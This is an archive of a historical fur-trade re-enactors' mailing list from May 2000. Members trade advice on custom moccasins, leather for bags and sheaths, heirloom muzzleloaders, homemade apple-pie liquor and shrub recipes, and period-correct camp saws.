>> >  high top, side seam moccs.  I wore them to my first Rendezvous
>> just
>> >  a few weeks ago here in Texas.  I had some special needs beins
>> >  I was a ballerina for twenty years and just about ruined my feet.
>> > John did a wonderful job making the moccs around my requirements.
>> > I know where my second pair of moccs will come from! John
>> specializes
>> > in custom  handsewn goods for the American Fur Trade Era, which
>> includes
>> > clothes for men and the ladies---all authentic.  He can
>> > fabricate whatever you need.
>> >
>> > http://www.stichinscotsman.com/
>> >
>> > As we say here in Texas, I hope you give him a shout.
>> > Texan
>> >
>> >
>> > On Sun, 30 Apr 2000 19:42:24 -0700 "John C. Funk, Jr."
>> > <[e-mail]> writes:
>> > > Ole.....
>> > > I'm looking for anyone that can fabricate a moc.  better than
>> > > I...and that
>> > > don't say much.  If there's a better (authentic) "mouse trap",
>> I'll
>> > > look at
>> > > it (them).
>> > > John Funk
>> > >
>> > >
>> > >
>> > > ----- Original Message -----
>> > > From: Ole B. Jensen <[e-mail]>
>> > > To: <[e-mail]>
>> > > Sent: Sunday, April 30, 2000 7:55 PM
>> > > Subject: Re: MtMan-List: Dyer web site...
>> > >
>> > >
>> > > > John,
>> > > > Hate to barge in on this thread, but I have heard that there
>> is
>> > > another
>> > > > company making a mocasin like Dyer's? If someone knows who
>> they
>> > > are and
>> > > how
>> > > > to get a hold of them please post your info.
>> > > > YMOS
>> > > > Ole # 718
>> > > > ----------
>> > > > >From: manbear <[e-mail]>
>> > > > >To: [e-mail]
>> > > > >Subject: Re: MtMan-List: Dyer web site...
>> > > > >Date: Sun, Apr 30, 2000, 10:17 AM
>> > > > >
>> > > >
>> > > > >I just checked Dyer's ad in Smoke & Fire and didn't see one
>> > > listed.
>> > > > >
>> > > > >Manbear
>> > > > >
>> > > > >"John C. Funk, Jr." wrote:
>> > > > >
>> > > > >> Anyone know if Dyer has a web site?
>> > > > >> John Funk
>> > > > >>
>> > > > >> ----------------------
>> > > > >> hist_text list info:
>> > > http://www.xmission.com/~drudy/mtman/maillist.html
>> > > > >
>> > > > >
>> > > > >----------------------
>> > > > >hist_text list info:
>> > > http://www.xmission.com/~drudy/mtman/maillist.html
>> > > > >
>> > > >
>> > > > ----------------------
>> > > > hist_text list info:
>> > > http://www.xmission.com/~drudy/mtman/maillist.html
>> > > >
>> > >
>> > >
>> > > ----------------------
>> > > hist_text list info:
>> > > http://www.xmission.com/~drudy/mtman/maillist.html
>> >
>> > ----------------------
>> > hist_text list info:
>> http://www.xmission.com/~drudy/mtman/maillist.html
>> >
>>
>>
>> ----------------------
>> hist_text list info:
>> http://www.xmission.com/~drudy/mtman/maillist.html
>
>----------------------
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>

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-------------------------------------------------------------------------------

From: Victoria Pate <[e-mail]>
Subject: Re: MtMan-List: The Stitching Scotsman?
Date: 04 May 2000 09:41:31 -0500

Hi Ole,
Here is the correct address for John McKee!
Phone: [phone].

http://www.stitchinscotsman.com

Victoria

On Thu, 04 May 2000 07:18:24 -0600 "Ole B. Jensen"
<[e-mail]> writes:
> Victoria,
> I tried to open the web site that was given in the e-mail, couldn't
> do it.
> Is there a phone no.? or address? or could someone re enter the
> address and
> make sure it is correct.
> YMOS
> Ole
> ----------
> >From: Victoria Pate <[e-mail]>
> >To: [e-mail]
> >Subject: Re: MtMan-List: Dyer web site...
> >Date: Wed, May 3, 2000, 5:22 PM
> >
>
> >
> >On Tue, 2 May 2000 16:58:21 -0700 "John C. Funk, Jr."
> ><[e-mail]> writes:
> >> Miss Victoria,
> >> I know John from a while back and totally forgot about his
> talents
> >> with a
> >> needle.  Shell definitely look him up.  My thanks for reminding
> me.
> >> John Funk
> >
> >You are most welcome, Mr. Funk.  And while you are catchin'
> >up with John, ask him about his newest addition to the family,
> >Ribeye, who gets bottle fed 3 pints of goat milk three times a
> >day, and who recently discovered that grass is quite
> >tasty. <G>
> >
> >Victoria
> >
> >
> >
> >
> >>
> >> ----- Original Message -----
> >> From: Victoria Pate <[e-mail]>
> >> To: <[e-mail]>
> >> Sent: Monday, May 01, 2000 3:57 PM
> >> Subject: Re: MtMan-List: Dyer web site...
> >>
> >>
> >> > Mr. Funk,
> >> >
> >> > John, Stichin' Scotsman, who is AMM, recently made me a pair of
> >> >  high top, side seam moccs.  I wore them to my first Rendezvous
>
> >> just
> >> >  a few weeks ago here in Texas.  I had some special needs beins
> >> >  I was a ballerina for twenty years and just about ruined my
> feet.
> >> > John did a wonderful job making the moccs around my
> requirements.
> >> > I know where my second pair of moccs will come from! John
> >> specializes
> >> > in custom  handsewn goods for the American Fur Trade Era, which
>
> >> includes
> >> > clothes for men and the ladies---all authentic.  He can
> >> > fabricate whatever you need.
> >> >
> >> > http://www.stichinscotsman.com/
> >> >
> >> > As we say here in Texas, I hope you give him a shout.
> >> > Texan
> >> >
> >> >
> >> > On Sun, 30 Apr 2000 19:42:24 -0700 "John C. Funk, Jr."
> >> > <[e-mail]> writes:
> >> > > Ole.....
> >> > > I'm looking for anyone that can fabricate a moc.  better than
> >> > > I...and that
> >> > > don't say much.  If there's a better (authentic) "mouse
> trap",
> >> I'll
> >> > > look at
> >> > > it (them).
> >> > > John Funk
> >> > >
> >> > >
> >> > >
> >> > > ----- Original Message -----
> >> > > From: Ole B. Jensen <[e-mail]>
> >> > > To: <[e-mail]>
> >> > > Sent: Sunday, April 30, 2000 7:55 PM
> >> > > Subject: Re: MtMan-List: Dyer web site...
> >> > >
> >> > >
> >> > > > John,
> >> > > > Hate to barge in on this thread, but I have heard that
> there
> >> is
> >> > > another
> >> > > > company making a mocasin like Dyer's? If someone knows who
> >> they
> >> > > are and
> >> > > how
> >> > > > to get a hold of them please post your info.
> >> > > > YMOS
> >> > > > Ole # 718
> >> > > > ----------
> >> > > > >From: manbear <[e-mail]>
> >> > > > >To: [e-mail]
> >> > > > >Subject: Re: MtMan-List: Dyer web site...
> >> > > > >Date: Sun, Apr 30, 2000, 10:17 AM
> >> > > > >
> >> > > >
> >> > > > >I just checked Dyer's ad in Smoke & Fire and didn't see
> one
> >> > > listed.
> >> > > > >
> >> > > > >Manbear
> >> > > > >
> >> > > > >"John C. Funk, Jr." wrote:
> >> > > > >
> >> > > > >> Anyone know if Dyer has a web site?
> >> > > > >> John Funk
> >> > > > >>
> >> > > > >> ----------------------
> >> > > > >> hist_text list info:
> >> > > http://www.xmission.com/~drudy/mtman/maillist.html
> >> > > > >
> >> > > > >
> >> > > > >----------------------
> >> > > > >hist_text list info:
> >> > > http://www.xmission.com/~drudy/mtman/maillist.html
> >> > > > >
> >> > > >
> >> > > > ----------------------
> >> > > > hist_text list info:
> >> > > http://www.xmission.com/~drudy/mtman/maillist.html
> >> > > >
> >> > >
> >> > >
> >> > > ----------------------
> >> > > hist_text list info:
> >> > > http://www.xmission.com/~drudy/mtman/maillist.html
> >> >
> >> > ----------------------
> >> > hist_text list info:
> >> http://www.xmission.com/~drudy/mtman/maillist.html
> >> >
> >>
> >>
> >> ----------------------
> >> hist_text list info:
> >> http://www.xmission.com/~drudy/mtman/maillist.html
> >
> >----------------------
> >hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html

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From: "northwoods" <[e-mail]>
Subject: MtMan-List: leather
Date: 05 May 2000 14:11:05 -0500

I am wanting to make a possibles bag and some knife sheaths, but don't know
what type of leather to use, or where to get it from for that matter. Does
anyone have any recommendations?
any other advice on the matter would be appreciated..
Thanks,
Tony Clark


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-------------------------------------------------------------------------------

From: Concho Smith <[e-mail]>
Subject: Re: [Re: [Re: [Re: MtMan-List: Lewis and Clark beads]]]
Date: 05 May 2000 17:41:03 EDT

"D Miles" <[e-mail]> wrote:
Concho,

 I fell in heat with that Jefferson Compass as well., but blew my wad on
corn & rice.. Mebby later.... Even told my better half about it, hinting
heavily as a b.d. gift...............

Dennis,

Just received two of those fancy "Thomas Jefferson" compasses from Clark =
&
Sons Mercantile, one for me the other to pay a debt owed to "Turtle's" on=
e
son.  After receiving it I can see why you said what you did about these
compasses, they're really nice quality - plus Buck's price if $12.00 less=
 than
what "Monticello" is asking for them, same compass/same manufacturer, coo=
l.

Tell the little lady that your brithday is getting close, donate the old =
one
to the next AMM auction.

Later

Concho.

____________________________________________________________________
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From: "D Miles" <[e-mail]>
Subject: Re: [Re: [Re: [Re: MtMan-List: Lewis and Clark beads]]]
Date: 05 May 2000 22:34:04 -0400

Ahhh, Concho...
 I made it to the "old Farts Club" yestidday, according to the Pendleton
critter... And Ratcliff said if I can keep from drowning myself, falling off
a cliff, pissisng off a ma griz or a jealous husband 'till I turn 50 I can
be a "Geezer Ranger" I think I will shoot for it...<G>
 Anniversery is a comin in the Fall and I have the moon eyes for a
compass... Mebby there will be a softness to her.... But there is no harder
thing than a woman's breast and you will find no sign there.... According to
a wise fella...
 And as to another Auction... Any volunteers???
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"

----- Original Message -----
Sent: Friday, May 05, 2000 5:41 PM


"D Miles" <[e-mail]> wrote:
Concho,

 I fell in heat with that Jefferson Compass as well., but blew my wad on
corn & rice.. Mebby later.... Even told my better half about it, hinting
heavily as a b.d. gift...............

Dennis,

Just received two of those fancy "Thomas Jefferson" compasses from Clark &
Sons Mercantile, one for me the other to pay a debt owed to "Turtle's" one
son.  After receiving it I can see why you said what you did about these
compasses, they're really nice quality - plus Buck's price if $12.00 less
than
what "Monticello" is asking for them, same compass/same manufacturer, cool.

Tell the little lady that your brithday is getting close, donate the old one
to the next AMM auction.

Later

Concho.

____________________________________________________________________
Get your own FREE, personal Netscape WebMail account today at
http://webmail.netscape.com.

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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: [Re: [Re: [Re: MtMan-List: Lewis and Clark beads]]]
Date: 05 May 2000 22:13:53 -0700

Dennis,
  I don't what all Lanney told you about "THE GEEZER RANGERS " , but here
are a couple to interesting notes.
  They have a motto, but they can't remember it.
  Their pledge or creed is, " Have prunes will travel ! ".
Just something for you to look forward to.  <GG>
Pendleton
-----Original Message-----


Ahhh, Concho...
I made it to the "old Farts Club" yestidday, according to the Pendleton
critter... And Ratcliff said if I can keep from drowning myself, falling off
a cliff, pissisng off a ma griz or a jealous husband 'till I turn 50 I can
be a "Geezer Ranger" I think I will shoot for it...<G>
Anniversery is a comin in the Fall and I have the moon eyes for a
compass... Mebby there will be a softness to her.... But there is no harder
thing than a woman's breast and you will find no sign there.... According to
a wise fella...
And as to another Auction... Any volunteers???
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"

----- Original Message -----
Sent: Friday, May 05, 2000 5:41 PM


"D Miles" <[e-mail]> wrote:
Concho,

I fell in heat with that Jefferson Compass as well., but blew my wad on
corn & rice.. Mebby later.... Even told my better half about it, hinting
heavily as a b.d. gift...............

Dennis,

Just received two of those fancy "Thomas Jefferson" compasses from Clark &
Sons Mercantile, one for me the other to pay a debt owed to "Turtle's" one
son.  After receiving it I can see why you said what you did about these
compasses, they're really nice quality - plus Buck's price if $12.00 less
than
what "Monticello" is asking for them, same compass/same manufacturer, cool.

Tell the little lady that your brithday is getting close, donate the old one
to the next AMM auction.

Later

Concho.

____________________________________________________________________
Get your own FREE, personal Netscape WebMail account today at
http://webmail.netscape.com.

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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: leather
Date: 05 May 2000 20:21:49 -0700

Dear Tony,
A possibles bag is not a shooting bag.  It carries your food, cooking an'
eatin' gear, fishing tackle, etc.  I made mine out of heavy linen not
leather.  If the linen is not heavy enough to pack all your gear without
tearing, line it with pillow ticking.  It is basically a haversack.
Rawhide makes good knife sheaths, simple, durable and molds itself to the
blade.  If you want something fancier, cover the rawhide with buck skin or
elk.  Brain tan if you want to mess with bead or quill work.  I carry my
small camp knife in a sheath made of poorly tanned squirrel hide.  Does the
job well but looks like hell.  Real rustic.  Shot the varmint while out deer
huntin' with my .54.  Killed and gutted the critter with one shot.  Didn't
make for a pretty fur though.  No ones tries to steal that sheath for sure.

Larry Huber


----- Original Message -----
Sent: Friday, May 05, 2000 12:11 PM


> I am wanting to make a possibles bag and some knife sheaths, but don't
know
> what type of leather to use, or where to get it from for that matter. Does
> anyone have any recommendations?
> any other advice on the matter would be appreciated..
> Thanks,
> Tony Clark
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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-------------------------------------------------------------------------------

From: Richard Pickert <[e-mail]>
Subject: Re: MtMan-List: leather
Date: 06 May 2000 14:27:23 -0700 (PDT)



> Tony:

I have recently gotten some good deals on leather and
if you contact me off list I can email you some pics.
price is $2. sq ft.plus ship.


=====


      Rick(Walks in the Night)Pickert



__________________________________________________
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From: [e-mail]
Subject: MtMan-List: Old guns
Date: 07 May 2000 19:01:51 EDT

I just came into possession of two old rifles that belonged to my
grandfather. (Old Remington 30-06 and a Winchester 30-06).  They shoot
incredibly well and have modified stocks to fit him exactly.  They are rifles
I will always keep and pass on down to my son.  In contemplating this passing
of firearms I began to wonder if the same tradition existed in earlier times
(18th and 19th centuries).  While I am definitely a beginner in this
historical re-enactment field I have done some research into early guns but
have not found references to guns being passed down within families.  My
ponderings have led to several questions.

Were there guns made during the late 1700's (1760's to 1800) that showed up
in the mountains in the 1810's to 1830's?  Was it possible that some trappers
and mountain men went to the Rockies with guns that belonged to fathers and
grandfathers?
How long did an early muzzleloader last a man (barring being lost or stolen )?
Is it possible that the large caliber early rifles, (early Virginia of the
1760 period to late 18th century rifles) made there way into the rockies
during the rendezvous period?
I seem to recall having read that several early mountain men used late 18th
century Lancaster style rifles.  I would be very interested to know if anyone
on the list has found reference to these early guns which may lead to the
supposition that they could have been passed down within the family?

Most Respectfully
Steve

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-------------------------------------------------------------------------------

From: <[e-mail]>
Subject: Re: MtMan-List: Old guns
Date: 07 May 2000 17:33:51 -0600

[e-mail] wrote:

> I just came into possession of two old rifles that belonged to my
> grandfather. (Old Remington 30-06 and a Winchester 30-06).  They shoot
> incredibly well and have modified stocks to fit him exactly.  They are rifles
> I will always keep and pass on down to my son.  In contemplating this passing
> of firearms I began to wonder if the same tradition existed in earlier times
> (18th and 19th centuries).  While I am definitely a beginner in this
> historical re-enactment field I have done some research into early guns but
> have not found references to guns being passed down within families.  My
> ponderings have led to several questions.
>
> Were there guns made during the late 1700's (1760's to 1800) that showed up
> in the mountains in the 1810's to 1830's?  Was it possible that some trappers
> and mountain men went to the Rockies with guns that belonged to fathers and
> grandfathers?
> How long did an early muzzleloader last a man (barring being lost or stolen )?
> Is it possible that the large caliber early rifles, (early Virginia of the
> 1760 period to late 18th century rifles) made there way into the rockies
> during the rendezvous period?
> I seem to recall having read that several early mountain men used late 18th
> century Lancaster style rifles.  I would be very interested to know if anyone
> on the list has found reference to these early guns which may lead to the
> supposition that they could have been passed down within the family?
>
> Most Respectfully
> Steve

Steve,
For a short answer to all your questions, it's yes guns have been passed on,
carried west, did the fur trade north and southwest. One good example is the
military musket, side by side shotgun and of course the trade gun. I'm sure
members on the list will get into the different ignitions, barrels lengths, cal,
etc.

I have several that belonged to family member's that have been passed on for many
generations. A pre 1813 Sharpe tradegun, a pre- 1800 Sutherland tradegun, several
flint side by sides that are in the late 1700's, same for officer pistols from the
F&I and Rev Wars. They all shoot and I have been the last one in the family to
make meat with several of them, there's a good example of a weapon - late 1700's
making meat in the late 1900's, 200 years ain,t bad for a weapon's life and she
isn't done yet. I'm sure my grandson, now 5 will be tempted to try his hand at it
when he becomes of age to handle a 46" barrel.

I'm sure members on the list have like examples within their families, and have
read or researched of old guns lasting longer that my personal examples.

Look at edged weapons, have read of swords being cut down, reshaped, etc. from the
original metal and still being carried 250-275 years later in Scotland, Ireland
and England.

Lets hear from Dick, Hawk and the others, good subject Steve.

Later

Buck Conner



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-------------------------------------------------------------------------------

From: [e-mail]
Subject: MtMan-List: Apple pie recipe
Date: 07 May 2000 20:58:15 EDT

helloooo the list,
a BUDDY OF MINE ASKED ME THE OTHER DAY IF i KNEW WHERE TO FIND A RECIPE FOR
"APPLE PIE" LIQUOR. I told him that I thought that I had seen it on this here
list.  Does anyone have a recipe that they could post.  Thanks in advance.

your servant
Wade "Sleeps Loudly" Smith

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-------------------------------------------------------------------------------

From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Old guns
Date: 07 May 2000 20:15:28 -0700

Steve,
  I can't quote documentation about early trappers carrying their grandpa's
rifles or trade guns, but it only makes sense that they did.  Most of those
guys were young men, who probably didn't have a lot of money to use to get
outfitted with.  We know that many of them initially signed on as " Company
Men ", and drew what gear they needed from the fur company.  I to, would
like to see some references to early rifles being carried to the " Stony
Mountains ", as Jefferson called them.  I agree with Buck, this is a great
topic !
Pendleton
-----Original Message-----


I just came into possession of two old rifles that belonged to my
grandfather. (Old Remington 30-06 and a Winchester 30-06).  They shoot
incredibly well and have modified stocks to fit him exactly.  They are
rifles
I will always keep and pass on down to my son.  In contemplating this
passing
of firearms I began to wonder if the same tradition existed in earlier times
(18th and 19th centuries).  While I am definitely a beginner in this
historical re-enactment field I have done some research into early guns but
have not found references to guns being passed down within families.  My
ponderings have led to several questions.

Were there guns made during the late 1700's (1760's to 1800) that showed up
in the mountains in the 1810's to 1830's?  Was it possible that some
trappers
and mountain men went to the Rockies with guns that belonged to fathers and
grandfathers?
How long did an early muzzleloader last a man (barring being lost or
stolen )?
Is it possible that the large caliber early rifles, (early Virginia of the
1760 period to late 18th century rifles) made there way into the rockies
during the rendezvous period?
I seem to recall having read that several early mountain men used late 18th
century Lancaster style rifles.  I would be very interested to know if
anyone
on the list has found reference to these early guns which may lead to the
supposition that they could have been passed down within the family?

Most Respectfully
Steve

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From: Steve M <[e-mail]>
Subject: Re: MtMan-List: Apple pie recipe
Date: 07 May 2000 18:42:47 -0700

Here's a recipe that has been on the list several times. I have made it
and it turn out real good.
1 gallon apple cider
1cup brown sugar
1 cup honey
5 cinnamon sticks
7whole cloves
juice of 1/2 lemon
Simmer all for 45 minutes. Will reduce slightly.
Strain out spices, let cool to room temperature.
Add 1 fifth Everclear. I could not get Everclear so I subbed for Captain
Morgans Rum.
The longer it sets, the smoother it gets. Don't never go bad. I also
have a recipe for Shrub. If you want it can send it off line for you.

Steve"boatkiller" McGehee



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From: manbear <[e-mail]>
Subject: Re: MtMan-List: Apple pie recipe
Date: 07 May 2000 22:55:38 -0400

Steve,

Could I also get the Shrub recipe?  A fellow called Doc let us try some at
a camp in Niles MI last year but he wouldn't get off the recipe.

Thanks and Travel Well

Manbear

Steve M wrote:

> Here's a recipe that has been on the list several times. I have made it
> and it turn out real good.
> 1 gallon apple cider
> 1cup brown sugar
> 1 cup honey
> 5 cinnamon sticks
> 7whole cloves
> juice of 1/2 lemon
> Simmer all for 45 minutes. Will reduce slightly.
> Strain out spices, let cool to room temperature.
> Add 1 fifth Everclear. I could not get Everclear so I subbed for Captain
> Morgans Rum.
> The longer it sets, the smoother it gets. Don't never go bad. I also
> have a recipe for Shrub. If you want it can send it off line for you.
>
> Steve"boatkiller" McGehee
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: manbear <[e-mail]>
Subject: Re: MtMan-List: Apple pie recipe
Date: 07 May 2000 23:35:10 -0400

List Members,

My most humble apologies for that last message.  it was supposed to go to
Steve Off-List but I didn't notice that the Reply To is set back to the
list.  Most other lists I belong to have reply set to the sender and reply to
set to All.

Again my Humble Apologies

Manbear

manbear wrote:

> Steve,
>
> Could I also get the Shrub recipe?  A fellow called Doc let us try some at
> a camp in Niles MI last year but he wouldn't get off the recipe.
>
> Thanks and Travel Well
>
> Manbear
>
> Steve M wrote:
>
> > Here's a recipe that has been on the list several times. I have made it
> > and it turn out real good.
> > 1 gallon apple cider
> > 1cup brown sugar
> > 1 cup honey
> > 5 cinnamon sticks
> > 7whole cloves
> > juice of 1/2 lemon
> > Simmer all for 45 minutes. Will reduce slightly.
> > Strain out spices, let cool to room temperature.
> > Add 1 fifth Everclear. I could not get Everclear so I subbed for Captain
> > Morgans Rum.
> > The longer it sets, the smoother it gets. Don't never go bad. I also
> > have a recipe for Shrub. If you want it can send it off line for you.
> >
> > Steve"boatkiller" McGehee
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: Apple pie recipe
Date: 07 May 2000 22:21:48 -0500

That recipe sounds pretty good....really easy to chug.   Be aware that =
the alcohol figures out to be about 20%......40 proof...and could sneak =
up on anybody not aware of its potency.
YMOS
Lanney Ratcliff
----- Original Message -----=20
Sent: Sunday, May 07, 2000 8:42 PM


> Here's a recipe that has been on the list several times. I have made =
it
> and it turn out real good.
> 1 gallon apple cider
> 1cup brown sugar
> 1 cup honey
> 5 cinnamon sticks
> 7whole cloves
> juice of 1/2 lemon
> Simmer all for 45 minutes. Will reduce slightly.
> Strain out spices, let cool to room temperature.
> Add 1 fifth Everclear. I could not get Everclear so I subbed for =
Captain
> Morgans Rum.
> The longer it sets, the smoother it gets. Don't never go bad. I also
> have a recipe for Shrub. If you want it can send it off line for you.
>=20
> Steve"boatkiller" McGehee
>=20
>=20
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: Apple pie recipe
Date: 07 May 2000 23:55:32 EDT

Steve why not share your Shrub recipe with the list too. It might be easier
Manbear isn't the only one what's got a taste for some shrub. This child has
got a powerful dry on his own self.    Crazy Cyot








i





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From: Steve M <[e-mail]>
Subject: Re: MtMan-List: Apple pie recipe
Date: 07 May 2000 21:20:10 -0700

I got this recipe from some one on the list some time ago. I have not
tried it myself, but it sure sounds gooood!

Fifth of white rum
3 oranges
3 lemons
1/2 cup sugar.
Take the zest of all lemons and oranges (that's just the peel, no white
stuff) and add to a bowl that holds at least a half a gallon. Juice
oranges and lemons and add the juice to the bowl, no pulp or pith. Add
rum, cover tightly and let sit at room temperature for 3 days.

After 3 days, strain, add half a fifth of water and stir in 1/2 cup
sugar.
I have been told this stuff will sneak up on you. Oh what the heck have
at it. You only live once they say.

Steve"boatkiller"McGehee


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From: [e-mail]
Subject: Re: MtMan-List: Apple pie recipe
Date: 08 May 2000 08:44:54 EDT

Thanks Boatkiller,
    And to all of you who responded.  I'll pass these recipes along to my
buddy, and then watch him fall down, he-he.  I appreciate you rapid response.

"Sleeps Loudly"

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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Old guns
Date: 08 May 2000 07:47:55 -0600

Larry,
I saw this thread and felt that I needed to tell you something. A year ago I
came into posession of an 1814 common rifle in 54 cal flint. This weapon was
made for the war of 1812. how did it get to Utah? and why wasn't it
converted?. This is not the first such weapon that I have seen. It stands to
reason that valubles have been passed down since the begining of time and
this would include gun's.
I don't know if the Rifle that I have came out with a traper? or a gun
dealer in 1958? but would guess that someone cared for it a long time. I
belive that as most of you, I will pass on my gun's either to a member of my
family who I know will take care of them as I have or I will give them to
such a freind that I know will respect and keep them safe.
YMOS
Ole
----------
>From: "larry pendleton" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: MtMan-List: Old guns
>Date: Sun, May 7, 2000, 9:15 PM
>

>Steve,
>  I can't quote documentation about early trappers carrying their grandpa's
>rifles or trade guns, but it only makes sense that they did.  Most of those
>guys were young men, who probably didn't have a lot of money to use to get
>outfitted with.  We know that many of them initially signed on as " Company
>Men ", and drew what gear they needed from the fur company.  I to, would
>like to see some references to early rifles being carried to the " Stony
>Mountains ", as Jefferson called them.  I agree with Buck, this is a great
>topic !
>Pendleton
>-----Original Message-----
>From: [e-mail] <[e-mail]>
>To: [e-mail] <[e-mail]>
>Date: Sunday, May 07, 2000 4:05 PM
>Subject: MtMan-List: Old guns
>
>
>I just came into possession of two old rifles that belonged to my
>grandfather. (Old Remington 30-06 and a Winchester 30-06).  They shoot
>incredibly well and have modified stocks to fit him exactly.  They are
>rifles
>I will always keep and pass on down to my son.  In contemplating this
>passing
>of firearms I began to wonder if the same tradition existed in earlier times
>(18th and 19th centuries).  While I am definitely a beginner in this
>historical re-enactment field I have done some research into early guns but
>have not found references to guns being passed down within families.  My
>ponderings have led to several questions.
>
>Were there guns made during the late 1700's (1760's to 1800) that showed up
>in the mountains in the 1810's to 1830's?  Was it possible that some
>trappers
>and mountain men went to the Rockies with guns that belonged to fathers and
>grandfathers?
>How long did an early muzzleloader last a man (barring being lost or
>stolen )?
>Is it possible that the large caliber early rifles, (early Virginia of the
>1760 period to late 18th century rifles) made there way into the rockies
>during the rendezvous period?
>I seem to recall having read that several early mountain men used late 18th
>century Lancaster style rifles.  I would be very interested to know if
>anyone
>on the list has found reference to these early guns which may lead to the
>supposition that they could have been passed down within the family?
>
>Most Respectfully
>Steve
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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-------------------------------------------------------------------------------

From: Bobbie <[e-mail]>
Subject: MtMan-List: saw
Date: 08 May 2000 10:10:30 -0600

   I'm finding myself needing a saw of some sort, and wondering..... I
don't suppose there would be anything like a small folding saw that would
be period correct, would there?

       Bobbie

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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: saw
Date: 08 May 2000 13:06:17 EDT

Bobbie, I haven't seen anything in 'folding' saws, but Panther does sell a
camp saw that is of primitive design, relatively light weight, measures 15 x
21 and I can tell you from personal experience, it works GREAT.  Its #
3000-744-2 and sells for $22.00 (per page 96 of Catalog # 12).  Hope this is
of some help.   Barney

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 08 May 2000 12:05:05 -0700

Bobbie,

I'm not aware of any saws being packed by eastern hunters or mountain men
but many of us do carry one at times. Usually only on canoe trips or winter
camps. I made my saw and it really is quit easy. Not expensive either.

I used oak pallet material and a commercial camp saw blade. You can make a
simple "H" frame saw with the cross bar mortised into the uprights. Use some
heavy cord between the two upper arms with a "Paddle" in the cord to wind it
tight to take tension on the blade and then "lock" it on the cross bar so it
doesn't unwind.

use a couple quarter inch bolts as pins throughout the lower ends of the
upright to secure the blade at both ends. Cut a couple slits in the bottom
of the upright to slide the blade into. The uprights need to be the length
of the blade apart when vertical so that is how you figure the length of the
cross brace. The blade needs to be around half its length or a bit more,
down from the cross piece and the cord about half the length of the blade up
away from the cross brace.

You can get much fancier than that and make it quit a work of art but that
is the basic machine. IF you have specific design questions, feel free. I
remain.....

YMOS
Capt. Lahti'
----- Original Message -----
Sent: Monday, May 08, 2000 9:10 AM


>    I'm finding myself needing a saw of some sort, and wondering..... I
> don't suppose there would be anything like a small folding saw that would
> be period correct, would there?
>
>        Bobbie
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: saw
Date: 08 May 2000 13:49:50 -0600

Not getting commercial here, but there are the plans for what I think is a
very nice collapsible saw (I have carried one for years: invaluable if you
are riding horseback in the canyons and encounter downfall) in my new book
"Lighting Grandma's Fire". I think you can get it on Amazon.
Bill C
-----Original Message-----


>Bobbie,
>
>I'm not aware of any saws being packed by eastern hunters or mountain men
>but many of us do carry one at times. Usually only on canoe trips or winter
>camps. I made my saw and it really is quit easy. Not expensive either.
>
>I used oak pallet material and a commercial camp saw blade. You can make a
>simple "H" frame saw with the cross bar mortised into the uprights. Use
some
>heavy cord between the two upper arms with a "Paddle" in the cord to wind
it
>tight to take tension on the blade and then "lock" it on the cross bar so
it
>doesn't unwind.
>
>use a couple quarter inch bolts as pins throughout the lower ends of the
>upright to secure the blade at both ends. Cut a couple slits in the bottom
>of the upright to slide the blade into. The uprights need to be the length
>of the blade apart when vertical so that is how you figure the length of
the
>cross brace. The blade needs to be around half its length or a bit more,
>down from the cross piece and the cord about half the length of the blade
up
>away from the cross brace.
>
>You can get much fancier than that and make it quit a work of art but that
>is the basic machine. IF you have specific design questions, feel free. I
>remain.....
>
>YMOS
>Capt. Lahti'
>----- Original Message -----
>From: "Bobbie" <[e-mail]>
>To: <[e-mail]>
>Sent: Monday, May 08, 2000 9:10 AM
>Subject: MtMan-List: saw
>
>
>>    I'm finding myself needing a saw of some sort, and wondering..... I
>> don't suppose there would be anything like a small folding saw that would
>> be period correct, would there?
>>
>>        Bobbie
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 08 May 2000 15:09:37 -0600

Bobbie wrote:

>    I'm finding myself needing a saw of some sort, and wondering..... I
> don't suppose there would be anything like a small folding saw that would
> be period correct, would there?
>
>        Bobbie
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

see Clark & Sons Mercantile: http://www.teleport.com/~walking/clark/
good blade and enough wood to do a little carving to make it personal.


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From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: saw
Date: 08 May 2000 14:07:18 -0500

--=====================_337304006==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Bobbie,

There are several styles of saw correct to the period.

What is it you want to cut?  Metal, wood, bone?  Fine work or coarse?

John...


At 10:10 AM 5/8/00 -0600, you wrote:
>    I'm finding myself needing a saw of some sort, and wondering..... I
>don't suppose there would be anything like a small folding saw that would
>be period correct, would there?
>
>        Bobbie
>
>----------------------
